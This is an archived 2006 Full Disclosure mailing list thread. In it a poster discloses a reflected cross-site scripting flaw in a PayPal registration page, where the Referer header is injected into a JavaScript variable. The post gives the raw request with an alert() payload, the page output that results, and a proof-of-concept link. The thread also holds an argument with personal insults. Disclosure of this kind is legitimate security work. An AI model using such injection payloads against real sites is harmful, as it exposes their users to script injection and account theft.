Full Disclosure mailing list archives
paypal.com xss (was Re: micosoft.com xss)
From: "Thomas Pollet" <thomas.pollet () gmail com>
Date: Tue, 8 Aug 2006 15:51:35 +0200
Man you suck, codes or stfu. I know the code is broken in more than 1 place, i tried registering event handlers, exiting jscript etc. etc. time to move on.... point is xss is everywhere, trust noone etc. etc. To make my point clear... last of the xss@paypal... GET https://www.paypal.com/cgi-bin/webscr?cmd=_registration-run HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, */* Referer: https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&source_page=_profile-comparison ";alert("xss");var%20f=" results in .... <script type="text/javascript"> <!-- /* SiteCatalyst Variables */ s.pageName="SignUp:Landing Page"; s.prop11="general/SignupInitial.xsl::_registration-run::0"; s.channel="Sign Up:Landing Page"; s.r=" https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&source_page=_profile-comparison ";alert("xss");var%20f=""; s.prop7="Unknown"; s.prop8="Unknown"; s.prop9="Unknown"; s.prop10="US"; s.prop12="Unknown"; s.visitorSampling="20"; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code) // --> </script> in other words.... referer url isn't correctly cleaned for paypal registration page and used for js var. poc: go to https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&source_page=_profile-comparison ";alert("xss");s.r=" and click on the sign up link Have a nice life, die soon, Thomas On 08/08/06, Mad World <penetrator () home in th> wrote:
Good morning ! You can doubt, it's your right to do so. Wanna bet ? Just open your eyes and your nose will show you that you are actually braking silly structure of page in more than one place .. I's relatively easy using the same exact place of code you tried to make it. I have working example, it is based on other microsoft "features" as well. Greets, - Mad World --- thomas.pollet () gmail com wrote: From: "Thomas Pollet" <thomas.pollet () gmail com> To: penetrator () home in th Cc: full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] Re: micosoft.com xss Date: Tue, 8 Aug 2006 10:18:56 +0200 On 08/08/06, Mad World <penetrator () home in th> wrote: Why do you need it ? You already discovered xss, the rest of "job" is just matter of technique. I think majority of xss submitters here could do it by various means. M$ is lost in its own complexity of how to do simple things. If you could ever give me reasonable answer for why do you need this $hit - I could give you the "rest", like others could. I doubt you actually tried getting js executed on page load (for some reason they try to prevent xss in a number of ways). I did try and didn't succeed, that's why I ask. Greets, Thomas _____________________________________________________________ Visit Thailand @ http://www.sawadee.com Websearch and email: DNSASIA.com .... FAST! 128k dialup: login.samuinet.com
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- paypal.com xss (was Re: micosoft.com xss) Thomas Pollet (Aug 08)